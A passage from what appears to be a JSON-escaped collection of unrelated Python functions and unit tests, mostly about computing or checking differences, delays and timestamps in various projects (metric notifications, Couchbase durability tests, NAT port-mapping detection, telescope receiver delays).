\\\"count\\\"\\n metric1 = dict(\\n type=\\\"metric_type\\\",\\n name=\\\"Metric\\\",\\n unit=\\\"units\\\",\\n scale=scale,\\n recent_measurements=[\\n dict(count=dict(value=0, status=\\\"near_target_met\\\")),\\n dict(count=dict(value=42, status=\\\"target_not_met\\\")),\\n ],\\n )\\n metric2 = dict(\\n type=\\\"metric_type\\\",\\n name=\\\"Metric\\\",\\n unit=\\\"units\\\",\\n scale=scale,\\n recent_measurements=[\\n dict(count=dict(value=5, status=\\\"target_met\\\")),\\n dict(count=dict(value=10, status=\\\"target_not_met\\\")),\\n ],\\n )\\n metric_notification_data1 = MetricNotificationData(metric1, self.data_model, \\\"status_changed\\\")\\n metric_notification_data2 = MetricNotificationData(metric2, self.data_model, \\\"status_changed\\\")\\n notification = Notification(\\n self.report, [metric_notification_data1, metric_notification_data2], \\\"destination_uuid\\\", {}\\n )\\n text = build_notification_text(notification)\\n self.assertEqual(\\n \\\"[Report 1](https://report1) has 2 metrics that are notable:\\\\n\\\\n\\\"\\n \\\"* Metric status is red (target not met), was yellow (near target met). Value is 42 units, was 0 units.\\\\n\\\"\\n \\\"* Metric status is red (target not met), was green (target met). Value is 10 units, was 5 units.\\\\n\\\",\\n text,\\n )\",\n \"def delaydiff(delay, ant, rx=RX1MM, pol=POL1, subarray=DEFAULT) :\\n if ( pol == POL1 ) :\\n if ( rx == RX3MM ) :\\n raise Exception, \\\"The delay difference for 3mm Rx Pol1 is zero by definition.\\\"\\n elif ( rx == RX1MM ) :\\n mp = \\\"Control.Antenna%d.rxDelay1mmPol1\\\"%ant\\n elif ( rx == RX1CM ) :\\n mp = \\\"Control.Antenna%d.rxDelay1cmPol1\\\"%ant\\n else:\\n raise Exception, \\\"Unrecognized receiver type\\\"\\n elif ( pol == POL2 ) :\\n if ( rx == RX3MM ) :\\n mp = \\\"Control.Antenna%d.rxDelay3mmPol2\\\"%ant\\n elif ( rx == RX1MM ) :\\n mp = \\\"Control.Antenna%d.rxDelay1mmPol2\\\"%ant\\n elif ( rx == RX1CM ) :\\n mp = \\\"Control.Antenna%d.rxDelay1cmPol2\\\"%ant\\n else:\\n raise Exception, \\\"Unrecognized receiver type\\\"\\n else:\\n raise Exception, \\\"Unrecognized polarization value\\\"\\n\\n try :\\n oldDelayDiff = queryDouble(mp, retries=0)\\n if False: print \\\"Previous delay diff for antenna %d receiver %d pol %d was %7.3f nsec\\\" \\\\\\n %(ant,rx,pol,oldDelayDiff)\\n except: pass \\n multiSubarray('delayDifference', subarray, delay, ant, rx, pol)\",\n \"def test6(self):\\n sig1 = np.array([0, 0, 0, 1])\\n sig2 = np.array([0, 0, 1])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == 1)\",\n \"def test8(self):\\n sig1 = np.array([1, 0, 0, 0])\\n sig2 = np.array([0, 1, ])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == -1)\",\n \"def test_unchanged_status_text(self):\\n scale = \\\"count\\\"\\n metric1 = dict(type=\\\"metric_type\\\",\\n name=\\\"Metric\\\",\\n unit=\\\"units\\\",\\n scale=scale,\\n recent_measurements=[dict(count=dict(value=0,\\n status=\\\"near_target_met\\\")),\\n dict(count=dict(value=42,\\n status=\\\"near_target_met\\\"))])\\n metric2 = dict(type=\\\"metric_type\\\",\\n name=\\\"Metric\\\",\\n unit=\\\"units\\\",\\n scale=scale,\\n recent_measurements=[dict(count=dict(value=5,\\n status=\\\"target_met\\\")),\\n dict(count=dict(value=10,\\n status=\\\"target_not_met\\\"))])\\n metric_notification_data1 = MetricNotificationData(metric1, self.data_model, \\\"status_long_unchanged\\\")\\n metric_notification_data2 = MetricNotificationData(metric2, self.data_model, \\\"status_long_unchanged\\\")\\n notification = Notification(self.report, [metric_notification_data1,\\n metric_notification_data2], \\\"destination_uuid\\\", {})\\n text = build_notification_text(notification)\\n self.assertEqual(\\n \\\"[Report 1](https://report1) has 2 metrics that are notable:\\\\n\\\\n\\\"\\n \\\"* Metric has been yellow (near target met) for three weeks. Value: 42 units.\\\\n\\\"\\n \\\"* Metric has been red (target not met) for three weeks. Value: 10 units.\\\\n\\\",\\n text)\",\n \"def check_response_feedback_delays(data, **_):\\n metric = np.nan_to_num(data[\\\"feedback_times\\\"] - data[\\\"response_times\\\"], nan=np.inf)\\n passed = (metric < 0.01) & (metric > 0)\\n assert data[\\\"intervals\\\"].shape[0] == len(metric) == len(passed)\\n return metric, passed\",\n \"def test_check_replication_warn_lag(self, mock_timestamp):\\n base_url = 'http://localhost:6000/recon/'\\n jdata = b'{\\\"replication_last\\\": 1493299546.629282, ' \\\\\\n b'\\\"replication_stats\\\": {\\\"no_change\\\": 0, \\\"rsync\\\": 0, ' \\\\\\n b'\\\"success\\\": 0, \\\"failure\\\": 0, \\\"attempted\\\": 0, \\\"ts_repl\\\": 0, ' \\\\\\n b'\\\"remove\\\": 0, \\\"remote_merge\\\": 0, \\\"diff_capped\\\": 0, ' \\\\\\n b'\\\"start\\\": 1493299546.621624, \\\"hashmatch\\\": 0, \\\"diff\\\": 0, ' \\\\\\n b'\\\"empty\\\": 0}, \\\"replication_time\\\": 0.0076580047607421875}'\\n pmock_jdata = PropertyMock(return_value=jdata)\\n mock_timestamp.return_value = (MagicMock(days=0, seconds=5), 0)\\n with patch('urllib.request.urlopen') as mock_urlopen:\\n mock_urlopen.return_value = MagicMock(read=pmock_jdata)\\n result = check_replication(base_url, [4, 10, 4, 10])\\n self.assertEqual(result,\\n [(STATUS_WARN,\\n \\\"'{}' replication lag is \\\"\\n \\\"5 seconds\\\".format(repl))\\n for repl in ('account', 'object', 'container')])\",\n \"def w_print_diff(self, message, d1, d2, expectedResult=None):\\n print(\\\"Message: '%s'\\\" % message)\\n print(\\\"Message length: %d\\\" % len(message))\\n if expectedResult:\\n print(\\\"%-48s (expected)\\\" % self._format(expectedResult))\\n print(\\\"%-48s (Std. lib. MD5)\\\" % self._format_hex(d1))\\n print(\\\"%-48s (Pure Python MD5)\\\" % self._format_hex(d2))\\n print()\",\n \"def annotate_diff(desc, stdout_e, stdout_a, stdout_e_strp, stdout_a_strp):\\n id_str= \\\"%s_\\\" % desc\\n result[id_str + \\\"stdout_expected\\\"] = stdout_e\\n result[id_str + \\\"stdout_actual\\\"] = stdout_a\\n result[id_str + \\\"stdout_expected_stripped\\\"]= stdout_e_strp\\n result[id_str + \\\"stdout_actual_stripped\\\"] = stdout_a_strp\\n result[id_str + \\\"stripped_diff\\\"] = '\\\\n'.join( difflib.ndiff( stdout_e_strp.splitlines(),\\n stdout_a_strp.splitlines() ))\\n result.fail(\\\"Expected standard output from %s does not match actual output.\\\" % desc)\",\n \"def _badness(self, time):\\n return (time - self.expected_time)**2\",\n \"def test5(self):\\n sig1 = np.array([0, 0, 1])\\n sig2 = np.array([0, 1, 0])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == 1)\",\n \"def check_compare(change, reference_value):\\n rounded_change = round(change, 2)\\n compare_values(reference_value, rounded_change)\",\n \"def test7(self):\\n sig1 = np.array([0, 0, 1])\\n sig2 = np.array([0, 1, 0, 0])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == 1)\",\n \"def test3(self):\\n sig1 = np.array([0, 1, 0])\\n sig2 = np.array([0, 1, 0, 0])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == 0)\",\n \"def checkSame(comment, value, expected, update=True):\\n res = value == expected\\n if update:\\n if res:\\n results[\\\"pass\\\"] += 1\\n else:\\n print(\\\"checking string\\\",comment,'|',value,\\\"!=\\\",expected)\\n results[\\\"fail\\\"] += 1\\n return res\",\n \"def test_delta_in_diff(self):\\n xk = 1 * self.ureg.kelvin\\n yk = 2 * self.ureg.kelvin\\n yf = yk.to('degF')\\n yc = yk.to('degC')\\n self.assertEqual(yk - xk, 1 * self.ureg.kelvin)\\n self.assertEqual(yf - xk, 1 * self.ureg.kelvin)\\n self.assertEqual(yc - xk, 1 * self.ureg.kelvin)\",\n \"def test_setDeadlineTwice(self):\\n self.session.setDeadline(10.0)\\n self.session.setDeadline(9.0)\\n decreased = self.session.getRemainingTime()\\n self.session.setDeadline(11.0)\\n still_decreased = self.session.getRemainingTime()\\n self.assertEqual((decreased, still_decreased), (9.0, 9.0))\",\n \"def test1(self):\\n sig1 = np.array([0, 1, 0])\\n sig2 = np.array([0, 1, 0])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == 0)\",\n \"def delta_test(self, mappings):\\r\\n\\r\\n # Calculate differences.\\r\\n mapping_no = len(mappings)\\r\\n differences = []\\r\\n for i in range(0, mapping_no):\\r\\n # Overflow.\\r\\n if i + 1 >= mapping_no:\\r\\n break\\r\\n differences.append(mappings[i + 1][\\\"remote\\\"] -\\r\\n mappings[i][\\\"remote\\\"])\\r\\n differences = list(set(differences))\\r\\n\\r\\n # Record delta pattern results.\\r\\n delta = 0\\r\\n for difference in differences:\\r\\n \\\"\\\"\\\"\\r\\n Calculate matches relative to each number for each difference.\\r\\n The matches are relative to mappings[i]\\r\\n \\\"\\\"\\\"\\r\\n masked = []\\r\\n for i in range(0, mapping_no):\\r\\n matches = 0\\r\\n for j in range(0, mapping_no):\\r\\n # This is ourself.\\r\\n if i == j:\\r\\n continue\\r\\n\\r\\n # Use value of mappings[i] to derive test value\\r\\n # for mappings[j].\\r\\n if i > j:\\r\\n # How many bellow it?\\r\\n test_val = mappings[i][\\\"remote\\\"] -\\\\\\r\\n (difference * (i - j))\\r\\n else:\\r\\n # How many above it?\\r\\n test_val = mappings[i][\\\"remote\\\"] +\\\\\\r\\n (difference * (j - i))\\r\\n\\r\\n # Pattern was predicted for relative comparison so\\r\\n # increment matches.\\r\\n if test_val == mappings[j][\\\"remote\\\"]:\\r\\n matches += 1\\r\\n\\r\\n # Matches parses the minimum threshold so these don't count\\r\\n # as collisions.\\r\\n if matches + 1 > self.port_collisions:\\r\\n masked.append(mappings[i][\\\"remote\\\"])\\r\\n\\r\\n # Check number of collisions satisfies delta requirement.\\r\\n collision_no = mapping_no - len(masked)\\r\\n if collision_no > self.port_collisions:\\r\\n continue\\r\\n if collision_no == int(mapping_no) / 2 and not mapping_no % 2:\\r\\n \\\"\\\"\\\"\\r\\n This means there's no way to be sure. The number of\\r\\n collisions can be just as high as the number of\\r\\n \\\"successes\\\", in which case it's a stalemate.\\r\\n \\\"\\\"\\\"\\r\\n continue\\r\\n delta = difference\\r\\n break\\r\\n\\r\\n if delta:\\r\\n nat_type = \\\"delta\\\"\\r\\n else:\\r\\n nat_type = \\\"random\\\"\\r\\n\\r\\n ret = {\\r\\n \\\"nat_type\\\": nat_type,\\r\\n \\\"delta\\\": delta\\r\\n }\\r\\n\\r\\n return ret\",\n \"def test_calculate_time_difference():\\n first_position = 1\\n second_position = 1235\\n difference = race.calculate_time_difference(first_position, second_position)\\n assert type(difference) == str\\n assert \\\":\\\" in difference and \\\".\\\" in difference\\n first_position_random = random.randint(10000, 99999)\\n second_position_random = random.randint(10000, 99999)\\n difference_random = race.calculate_time_difference(first_position_random, second_position_random)\\n assert type(difference_random) == str\\n assert \\\":\\\" in difference_random and \\\".\\\" in difference_random\",\n \"def test_compare_difference_string_faster(self):\\n test_algorithm = 'bubble'\\n test_algorithm_time = 2\\n test_sorted_time = 4\\n result = calculate_compare_time_difference(test_algorithm_time, test_sorted_time, test_algorithm)\\n self.assertEqual('bubble was 2 seconds faster.', result)\",\n \"def test_timeout_with_crud_failures(self):\\n\\n # Local methods to validate vb_seqno\\n\\n def compare_vb_stat(stat_1, stat_2, vb, comparison=\\\"!=\\\"):\\n keys_to_check = [\\\"high_seqno\\\", \\\"high_completed_seqno\\\"]\\n result = True\\n for key in keys_to_check:\\n if vb in stat_1.keys():\\n if stat_1[vb][\\\"uuid\\\"] != stat_2[vb][\\\"uuid\\\"]:\\n self.log_failure(\\\"Mismatch in vb-%s UUID. %s != %s\\\"\\n % (vb, stat_1[vb][\\\"uuid\\\"],\\n stat_2[vb][\\\"uuid\\\"]))\\n if comparison == \\\"!=\\\":\\n if stat_1[vb][key] != stat_2[vb][key]:\\n result = False\\n self.log.warning(\\n \\\"Mismatch in vb-%s stat %s. %s != %s\\\"\\n % (vb, key, stat_1[vb][key], stat_2[vb][key]))\\n elif stat_1[vb][key] == stat_2[vb][key]:\\n result = False\\n self.log.warning(\\\"Stat not updated for vb-%s stat %s. \\\"\\n \\\"%s == %s\\\"\\n % (vb, key,\\n stat_1[vb][key], stat_2[vb][key]))\\n return result\\n\\n def validate_vb_seqno_stats():\\n \\\"\\\"\\\"\\n :return retry_validation: Boolean denoting to retry validation\\n \\\"\\\"\\\"\\n retry_validation = False\\n vb_info[\\\"post_timeout\\\"][node.ip] = \\\\\\n cbstat_obj[node.ip].vbucket_seqno(self.bucket.name)\\n for tem_vb_num in range(self.cluster.vbuckets):\\n tem_vb_num = str(tem_vb_num)\\n if tem_vb_num not in affected_vbs:\\n if compare_vb_stat(vb_info[\\\"init\\\"][node.ip],\\n vb_info[\\\"post_timeout\\\"][node.ip],\\n tem_vb_num) is False:\\n self.log_failure(\\\"Unaffected vb-%s stat\\\" % tem_vb_num)\\n elif int(tem_vb_num) in target_nodes_vbuckets[\\\"active\\\"]:\\n if compare_vb_stat(vb_info[\\\"init\\\"][node.ip],\\n vb_info[\\\"post_timeout\\\"][node.ip],\\n tem_vb_num) is False:\\n self.log.warning(\\\"%s - mismatch in %s vb-%s seq_no\\\"\\n % (node.ip, \\\"active\\\", tem_vb_num))\\n elif int(tem_vb_num) in target_nodes_vbuckets[\\\"replica\\\"]:\\n if compare_vb_stat(vb_info[\\\"init\\\"][node.ip],\\n vb_info[\\\"post_timeout\\\"][node.ip],\\n tem_vb_num, comparison=\\\"==\\\") is False:\\n retry_validation = True\\n self.log.warning(\\\"%s - mismatch in %s vb-%s seq_no\\\"\\n % (node.ip, \\\"replica\\\", tem_vb_num))\\n return retry_validation\\n\\n shell_conn = dict()\\n cbstat_obj = dict()\\n error_sim = dict()\\n target_nodes_vbuckets = dict()\\n vb_info = dict()\\n tasks = dict()\\n doc_gen = dict()\\n affected_vbs = list()\\n\\n target_nodes_vbuckets[\\\"active\\\"] = []\\n target_nodes_vbuckets[\\\"replica\\\"] = []\\n vb_info[\\\"init\\\"] = dict()\\n vb_info[\\\"post_timeout\\\"] = dict()\\n vb_info[\\\"afterCrud\\\"] = dict()\\n\\n # Override crud_batch_size to minimum value for testing\\n self.crud_batch_size = 5\\n self.key = \\\"test_collections\\\"\\n self.sdk_timeout = 3\\n\\n # Select target vbucket type to load_docs\\n target_vb_type = \\\"replica\\\"\\n if self.simulate_error == CouchbaseError.STOP_PERSISTENCE \\\\\\n and self.durability_level \\\\\\n == Bucket.DurabilityLevel.MAJORITY_AND_PERSIST_TO_ACTIVE:\\n target_vb_type = \\\"active\\\"\\n\\n # Create required scope/collection for successful CRUD operation\\n if self.scope_name != CbServer.default_scope:\\n self.scope_name = self.bucket_util.get_random_name()\\n self.collection_name = self.bucket_util.get_random_name()\\n self.log.info(\\\"Creating scope::collection %s::%s\\\"\\n % (self.scope_name, self.collection_name))\\n self.create_scope_collection()\\n\\n # Load docs into created collection\\n self.log.info(\\\"Loading data into created collection\\\")\\n load_gen = doc_generator(self.key, 0, self.num_items)\\n task = self.task.async_load_gen_docs(\\n self.cluster, self.bucket, load_gen, \\\"create\\\", 0,\\n scope=self.scope_name,\\n collection=self.collection_name,\\n sdk_client_pool=self.sdk_client_pool,\\n batch_size=200, process_concurrency=8,\\n timeout_secs=60)\\n self.task_manager.get_task_result(task)\\n if self.subdoc_test:\\n load_gen = sub_doc_generator(self.key, 0, self.num_items/2)\\n task = self.task.async_load_gen_sub_docs(\\n self.cluster, self.bucket,\\n load_gen, Bucket_Op.SubDocOps.INSERT,\\n timeout_secs=self.sdk_timeout,\\n compression=self.sdk_compression,\\n path_create=True,\\n batch_size=100,\\n process_concurrency=8,\\n durability=self.durability_level,\\n scope=self.scope_name, collection=self.collection_name,\\n sdk_client_pool=self.sdk_client_pool)\\n self.task_manager.get_task_result(task)\\n\\n self.bucket.scopes[self.scope_name].collections[\\n self.collection_name].num_items = self.num_items\\n\\n target_nodes = DurabilityHelper.getTargetNodes(self.cluster,\\n self.nodes_init,\\n self.num_nodes_affected)\\n for node in target_nodes:\\n shell_conn[node.ip] = RemoteMachineShellConnection(node)\\n cbstat_obj[node.ip] = Cbstats(node)\\n target_nodes_vbuckets[\\\"active\\\"] += \\\\\\n cbstat_obj[node.ip].vbucket_list(self.bucket.name,\\n vbucket_type=\\\"active\\\")\\n target_nodes_vbuckets[\\\"replica\\\"] += \\\\\\n cbstat_obj[node.ip].vbucket_list(self.bucket.name,\\n vbucket_type=\\\"replica\\\")\\n vb_info[\\\"init\\\"][node.ip] = cbstat_obj[node.ip].vbucket_seqno(\\n self.bucket.name)\\n error_sim[node.ip] = CouchbaseError(self.log, shell_conn[node.ip])\\n\\n curr_time = int(time.time())\\n expected_timeout = curr_time + self.sdk_timeout\\n\\n if target_vb_type == \\\"active\\\":\\n target_vbs = list(\\n set(target_nodes_vbuckets[target_vb_type])\\n .difference(set(target_nodes_vbuckets[\\\"replica\\\"])))\\n else:\\n target_vbs = list(\\n set(target_nodes_vbuckets[target_vb_type])\\n .difference(set(target_nodes_vbuckets[\\\"active\\\"])))\\n\\n # Create required doc_generators\\n doc_gen[\\\"create\\\"] = doc_generator(self.key, self.num_items,\\n self.crud_batch_size,\\n target_vbucket=target_vbs)\\n doc_gen[\\\"delete\\\"] = doc_generator(self.key, 0,\\n self.crud_batch_size,\\n target_vbucket=target_vbs)\\n doc_gen[\\\"read\\\"] = doc_generator(\\n self.key, int(self.num_items/3),\\n self.crud_batch_size,\\n target_vbucket=target_vbs)\\n doc_gen[\\\"update\\\"] = doc_generator(\\n self.key, int(self.num_items/2),\\n self.crud_batch_size,\\n target_vbucket=target_vbs)\\n\\n # Create required subdoc generators\\n doc_gen[\\\"insert\\\"] = sub_doc_generator(\\n self.key, int(self.num_items/2), self.crud_batch_size,\\n target_vbucket=target_vbs)\\n doc_gen[\\\"upsert\\\"] = sub_doc_generator_for_edit(\\n self.key, 0, self.crud_batch_size,\\n template_index=1,\\n target_vbucket=target_vbs)\\n doc_gen[\\\"remove\\\"] = sub_doc_generator(\\n self.key, 0, self.crud_batch_size,\\n target_vbucket=target_vbs)\\n\\n # Perform specified action\\n for node in target_nodes:\\n error_sim[node.ip].create(self.simulate_error,\\n bucket_name=self.bucket.name)\\n self.sleep(5, \\\"Wait for error_simulation to take effect\\\")\\n\\n ops_to_perform = [Bucket_Op.DocOps.CREATE, Bucket_Op.DocOps.UPDATE,\\n Bucket_Op.DocOps.READ, Bucket_Op.DocOps.DELETE]\\n if self.subdoc_test:\\n ops_to_perform = [Bucket_Op.SubDocOps.INSERT,\\n Bucket_Op.SubDocOps.UPSERT,\\n Bucket_Op.SubDocOps.REMOVE]\\n\\n for op_type in ops_to_perform:\\n self.log.info(\\\"Starting doc op %s\\\" % op_type)\\n if op_type in Bucket_Op.DOC_OPS:\\n tasks[op_type] = self.task.async_load_gen_docs(\\n self.cluster, self.bucket, doc_gen[op_type], op_type, 0,\\n scope=self.scope_name,\\n collection=self.collection_name,\\n sdk_client_pool=self.sdk_client_pool,\\n batch_size=1, process_concurrency=8,\\n durability=self.durability_level,\\n timeout_secs=self.sdk_timeout,\\n suppress_error_table=True,\\n print_ops_rate=False,\\n skip_read_on_error=True)\\n else:\\n tasks[op_type] = self.task.async_load_gen_sub_docs(\\n self.cluster, self.bucket, doc_gen[op_type], op_type, 0,\\n scope=self.scope_name,\\n collection=self.collection_name,\\n sdk_client_pool=self.sdk_client_pool,\\n path_create=True,\\n batch_size=1, process_concurrency=8,\\n durability=self.durability_level,\\n timeout_secs=self.sdk_timeout,\\n print_ops_rate=False)\\n\\n self.task.jython_task_manager.get_task_result(tasks[op_type])\\n\\n # Validate task failures\\n if op_type == Bucket_Op.DocOps.READ:\\n # Validation for read task\\n if len(tasks[op_type].fail.keys()) != 0:\\n self.log_failure(\\\"Read failed for few docs: %s\\\"\\n % tasks[op_type].fail.keys())\\n else:\\n # Validation of CRUDs - Update / Create / Delete\\n for doc_id, crud_result in tasks[op_type].fail.items():\\n vb_num = self.bucket_util.get_vbucket_num_for_key(\\n doc_id, self.cluster.vbuckets)\\n if SDKException.DurabilityAmbiguousException \\\\\\n not in str(crud_result[\\\"error\\\"]):\\n self.log_failure(\\n \\\"Invalid exception for doc %s, vb %s: %s\\\"\\n % (doc_id, vb_num, crud_result))\\n\\n # Revert the specified error scenario\\n for node in target_nodes:\\n error_sim[node.ip].revert(self.simulate_error,\\n bucket_name=self.bucket.name)\\n\\n # Check whether the timeout triggered properly\\n if int(time.time()) < expected_timeout:\\n self.log_failure(\\\"Timed-out before expected time\\\")\\n\\n for op_type in ops_to_perform:\\n if op_type == Bucket_Op.DocOps.READ:\\n continue\\n while doc_gen[op_type].has_next():\\n doc_id, _ = doc_gen[op_type].next()\\n affected_vbs.append(\\n str(self.bucket_util.get_vbucket_num_for_key(\\n doc_id,\\n self.cluster.vbuckets)))\\n\\n affected_vbs = list(set(affected_vbs))\\n # Fetch latest stats and validate the seq_nos are not updated\\n for node in target_nodes:\\n retry_count = 0\\n max_retry = 3\\n while retry_count < max_retry:\\n self.log.info(\\\"Trying to validate vbseq_no stats: %d\\\"\\n % (retry_count+1))\\n retry_count += 1\\n retry_required = validate_vb_seqno_stats()\\n if not retry_required:\\n break\\n self.sleep(5, \\\"Sleep for vbseq_no stats to update\\\")\\n else:\\n # This will be exited only if `break` condition is not met\\n self.log_failure(\\\"validate_vb_seqno_stats verification failed\\\")\\n\\n self.validate_test_failure()\\n\\n # Get SDK Client from client_pool\\n sdk_client = self.sdk_client_pool.get_client_for_bucket(\\n self.bucket,\\n self.scope_name,\\n self.collection_name)\\n\\n # Doc error validation\\n for op_type in ops_to_perform:\\n task = tasks[op_type]\\n\\n if self.nodes_init == 1 \\\\\\n and op_type != Bucket_Op.DocOps.READ \\\\\\n and len(task.fail.keys()) != (doc_gen[op_type].end\\n - doc_gen[op_type].start):\\n self.log_failure(\\\"Failed keys %d are less than expected %d\\\"\\n % (len(task.fail.keys()),\\n (doc_gen[op_type].end\\n - doc_gen[op_type].start)))\\n\\n # Create table objects for display\\n table_view = TableView(self.log.error)\\n ambiguous_table_view = TableView(self.log.info)\\n table_view.set_headers([\\\"Key\\\", \\\"vBucket\\\", \\\"Exception\\\"])\\n ambiguous_table_view.set_headers([\\\"Key\\\", \\\"vBucket\\\"])\\n\\n # Iterate failed keys for validation\\n for doc_key, doc_info in task.fail.items():\\n vb_for_key = self.bucket_util.get_vbucket_num_for_key(doc_key)\\n\\n if SDKException.DurabilityAmbiguousException \\\\\\n not in str(doc_info[\\\"error\\\"]):\\n table_view.add_row([doc_key, vb_for_key,\\n doc_info[\\\"error\\\"]])\\n\\n ambiguous_table_view.add_row([doc_key, str(vb_for_key)])\\n if op_type not in Bucket_Op.SUB_DOC_OPS:\\n retry_success = \\\\\\n self.durability_helper.retry_for_ambiguous_exception(\\n sdk_client, op_type, doc_key, doc_info)\\n if not retry_success:\\n self.log_failure(\\\"%s failed in retry for %s\\\"\\n % (op_type, doc_key))\\n\\n # Display the tables (if any errors)\\n table_view.display(\\\"Unexpected exception during %s\\\" % op_type)\\n ambiguous_table_view.display(\\\"D_Ambiguous exception during %s\\\"\\n % op_type)\\n\\n # Release the acquired client\\n self.sdk_client_pool.release_client(sdk_client)\\n\\n # Verify doc count after expected CRUD failure\\n self.bucket_util._wait_for_stats_all_buckets(self.cluster,\\n self.cluster.buckets)\\n self.bucket_util.validate_docs_per_collections_all_buckets(\\n self.cluster)\\n\\n # Fetch latest stats and validate the values are updated\\n for node in target_nodes:\\n vb_info[\\\"afterCrud\\\"][node.ip] = \\\\\\n cbstat_obj[node.ip].vbucket_seqno(self.bucket.name)\\n if vb_info[\\\"init\\\"][node.ip] == vb_info[\\\"afterCrud\\\"][node.ip]:\\n self.log_failure(\\\"vBucket seq_no stats not updated\\\")\\n\\n # Disconnect the shell connection\\n for node in target_nodes:\\n shell_conn[node.ip].disconnect()\\n\\n self.validate_test_failure()\",\n \"def diff(self):\\n return datetime.datetime.now() - self.stamp\",\n \"def check_allele_freq_diff(self):\\r\\n \\r\\n if not self.old or not self.new:\\r\\n self.freq_diff = \\\"NA\\\"\\r\\n self.pvalue = \\\"NA\\\"\\r\\n \\r\\n else:\\r\\n old_frq = self.old.alt_percent\\r\\n new_frq = self.new.alt_percent\\r\\n \\r\\n if old_frq == 0 or new_frq == 0:\\r\\n self.freq_diff = \\\"NA\\\"\\r\\n \\r\\n else:\\r\\n self.freq_diff = abs(old_frq-new_frq)\",\n \"def test_format_email_body__update_with_changes(self):\\n body_html = notifier.format_email_body(\\n True, self.feature_1, self.changes)\\n self.assertIn('test_prop', body_html)\\n self.assertIn('www.chromestatus.com/feature/%d' % self.feature_1.key.integer_id(),\\n body_html)\\n self.assertIn('test old value', body_html)\\n self.assertIn('test new value', body_html)\",\n \"def diff(self, other):\\n if self is other or self == other:\\n # headers are equal, we need 1 byte\\n return 0\\n\\n # difference should be computed for packets with same object_id\\n assert self.object_id == other.object_id\\n\\n if self.stream_id == other.stream_id:\\n if self.type == other.type and self.length == other.length:\\n # difference only in timestamp, 4 bytes\\n return 1\\n\\n # stream_id matches, we need 8 bytes\\n return 2\\n \\n # we need full header encoded, 12 bytes\\n return 3\",\n \"def test_logentry_change_message_not_json(self):\\n logentry = LogEntry(change_message=\\\"non-JSON string\\\")\\n self.assertEqual(logentry.get_change_message(), logentry.change_message)\",\n \"def test_updated_ts_lessthan_equal(self):\\n survey = SurveyFactory.create()\\n\\n data = {\\n 'experiment_version': '1',\\n 'response_version': 1,\\n 'person_id': 'joemamma',\\n 'survey_id': survey.name,\\n 'flow_id': '20141113',\\n 'question_id': '1',\\n 'updated_ts': self.timestamp(),\\n 'question_text': 'how was lunch?',\\n 'variation_id': '1',\\n }\\n\\n resp = self.client.post(\\n reverse('heartbeat-api'),\\n content_type='application/json',\\n data=json.dumps(data))\\n\\n assert resp.status_code == 201\\n\\n # Test the less-than case.\\n data['updated_ts'] = self.timestamp(offset=-10)\\n resp = self.client.post(\\n reverse('heartbeat-api'),\\n content_type='application/json',\\n data=json.dumps(data))\\n\\n assert resp.status_code == 400\\n resp_data = json.loads(resp.content)\\n assert (\\n resp_data['errors']['updated_ts'] ==\\n 'updated timestamp is same or older than existing data'\\n )\\n\\n # Test the equal case.\\n data['updated_ts'] = self.timestamp()\\n resp = self.client.post(\\n reverse('heartbeat-api'),\\n content_type='application/json',\\n data=json.dumps(data))\\n\\n assert resp.status_code == 400\\n resp_data = json.loads(resp.content)\\n assert (\\n resp_data['errors']['updated_ts'] ==\\n 'updated timestamp is same or older than existing data'\\n )\",\n \"def test_score_diff_from_transaction(self):\\n good_holdings = {\\\"good_id\\\": 2}\\n currency_holdings = {\\\"FET\\\": 100}\\n utility_params = {\\\"good_id\\\": 20.0}\\n exchange_params = {\\\"FET\\\": 10.0}\\n tx_fee = 3\\n self.ownership_state.init(\\n amount_by_currency_id=currency_holdings, quantities_by_good_id=good_holdings\\n )\\n self.preferences.init(\\n utility_params_by_good_id=utility_params,\\n exchange_params_by_currency_id=exchange_params,\\n tx_fee=tx_fee,\\n )\\n tx_message = TransactionMessage(\\n performative=TransactionMessage.Performative.PROPOSE_FOR_SETTLEMENT,\\n skill_callback_ids=[PublicId(\\\"author\\\", \\\"a_skill\\\", \\\"0.1.0\\\")],\\n tx_id=\\\"transaction0\\\",\\n tx_sender_addr=\\\"agent_1\\\",\\n tx_counterparty_addr=\\\"pk\\\",\\n tx_amount_by_currency_id={\\\"FET\\\": -20},\\n tx_sender_fee=self.preferences.transaction_fees[\\\"seller_tx_fee\\\"],\\n tx_counterparty_fee=self.preferences.transaction_fees[\\\"buyer_tx_fee\\\"],\\n tx_quantities_by_good_id={\\\"good_id\\\": 10},\\n info={\\\"some_info_key\\\": \\\"some_info_value\\\"},\\n ledger_id=\\\"fetchai\\\",\\n tx_nonce=\\\"transaction nonce\\\",\\n )\\n\\n cur_score = self.preferences.get_score(\\n quantities_by_good_id=good_holdings, amount_by_currency_id=currency_holdings\\n )\\n new_state = self.ownership_state.apply_transactions([tx_message])\\n new_score = self.preferences.get_score(\\n quantities_by_good_id=new_state.quantities_by_good_id,\\n amount_by_currency_id=new_state.amount_by_currency_id,\\n )\\n dif_scores = new_score - cur_score\\n score_difference = self.preferences.get_score_diff_from_transaction(\\n ownership_state=self.ownership_state, tx_message=tx_message\\n )\\n assert (\\n score_difference == dif_scores\\n ), \\\"The calculated difference must be equal to the return difference from the function.\\\"\",\n \"def test_modified(self):\\n self.channel.lineReceived(\\\"If-Modified-Since: %s\\\"\\n % http.datetimeToString(1))\\n self.channel.lineReceived('')\\n result = self.transport.getvalue()\\n self.failUnlessEqual(httpCode(result), http.OK)\\n self.failUnlessEqual(httpBody(result), \\\"correct\\\")\",\n \"def test_timestamp_is_negative():\\n mock_message.timestamp = Mock(return_value=(1, -1))\\n new_message = Message(mock_message)\\n\\n assert new_message.value == mock_message.value()\\n assert new_message._raw == mock_message\\n assert new_message._meta.key == mock_message.key()\\n assert new_message._meta.partition == mock_message.partition()\\n assert new_message._meta.offset == mock_message.offset()\\n assert new_message._meta.topic == mock_message.topic()\\n assert new_message._meta.timestamp is None\\n assert new_message._meta.datetime is None\",\n \"async def difference(self, ctx, *, query):\\n if not query:\\n query = \\\"X Y\\\"\\n urlquery = '+'.join(query.split())\\n emb = hf.green_embed(f\\\"A lot of 'what is the difference between X and Y' kinds of questions can be 